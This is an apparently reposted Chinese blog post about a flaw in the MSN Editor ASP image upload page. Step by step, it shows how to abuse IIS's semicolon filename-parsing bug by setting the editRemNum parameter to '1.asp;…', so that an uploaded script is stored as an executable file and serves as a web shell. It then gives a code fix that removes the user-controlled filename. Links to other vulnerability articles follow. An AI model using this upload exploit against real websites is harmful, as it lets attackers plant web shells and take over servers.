MSN Editor 0DAY

简单说下利用的方法吧。
点击图片上传后会出现上传页面，地址为

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=

用普通的图片上传后，地址为
http://www.xxx.cn/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012

很明显。图片的地址是根据RemNum后面的编号生成的。

利用很简单配合IIS的解析漏洞，把RemNum后面的数据修改为1.asp;41513102009204012

变成下面这个地址

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012

然后在浏览器里打开

然后选择你的脚本***上传

将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif

然后直接打开就是我们的小马地址！

[红科网安]漏洞修补建议:

关键代码：

if editRemNum<>"" then
                remNum = editRemNum
             else
                Randomize
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
             end if
             remFileName = remNum&"_"&(editImageNum+1)&".gif"
          end if

去掉自定义部分，只留下随机参数即可。

保留代码：

Randomize
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
             end if
             remFileName = remNum&"_"&(editImageNum+1)&".gif"

文章如转载，请注明转载自【网管小王的独立博客】：http://www.5iadmin.com/

转载于:https://blog.51cto.com/shanzhai/924615

MSN Editor 0DAY相关推荐

ue编辑器漏洞_编辑器漏洞手册
简介 #2014年8月21日最初的手册版本,是由北洋贱队的各位朋友收集整理.时隔4年,我们再次整理了这些文件.目的是希望这种传统能延续下去.我们相信:星星之火可以燎原.希望大家能多提建议,完善这份手 ...
Editors Vulnerability Handbook
创建这样一个文档是为了能够使得众多需要得到帮助的人们,在她们最为困苦之时找到为自己点亮的那盏明灯,虽然这将揭示了某个寂静黑夜下一群躁动不安的人群.他们在享受快感,享受H4ck W0r|d带给他们的一切 ...
微软9月补丁星期二值得关注的0day、终于落幕的 PrintNightmare及其它
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士北京时间2021年9月15日,微软发布补丁星期二,共修复了66个CVE漏洞,加上月初发布的基于 Chromium 的 Edge 浏览器的20个漏 ...
微软警告：Office 已遭IE RCE 新0day 攻击
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士今天早些时候,微软安全团队发布警告称,IE 新 0day 已遭滥用.该漏洞的编号为 CVE-2021-40444,影响微软 MHTML即IE浏览 ...
微软：确实存在另一枚 print spooler 0day，目前尚未修复
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士微软为另外一个 Windows Print Spooler 0day 漏洞发布安全公告.该漏洞编号为 CVE-2021-36958,可导致攻击者 ...
0day安全:软件漏洞分析技术(第2版)
0day安全:软件漏洞分析技术(第2版) 基本信息作者:王清张东辉周浩王继刚赵双丛书名:安全技术大系出版社:电子工业出版社 ISBN:9787121133961 上架时间 ...
关注MSN聊天机器人颁奖典礼(转)
关注MSN聊天机器人颁奖典礼(转) 看着那些调皮机智.滔滔不绝的聊天记录,谁能想到这背后只是冷冰冰的代码呢?!MSN Messenger的聊天机器人很多,想要了解哪些最优秀吗?那就来看看这个颁奖典礼吧 ...
MSN Messenger聊天机器人颁奖典礼
查看:[大字体中字体小字体] <script language="javascript" src="ads/newsad2.js"></s ...
《0day安全：软件漏洞分析技术第二版》
简单说来,这次再版的原因有二: 首先,国人深知与时俱进的道理,技术上面更是如此.随着windows平台保护技术的不断改进,win7的广泛使用,第一版中所述的很多方法已有较大局限.为此我们逐一搜集了近 ...

MSN Editor 0DAY

MSN Editor 0DAY相关推荐

最新文章

热门文章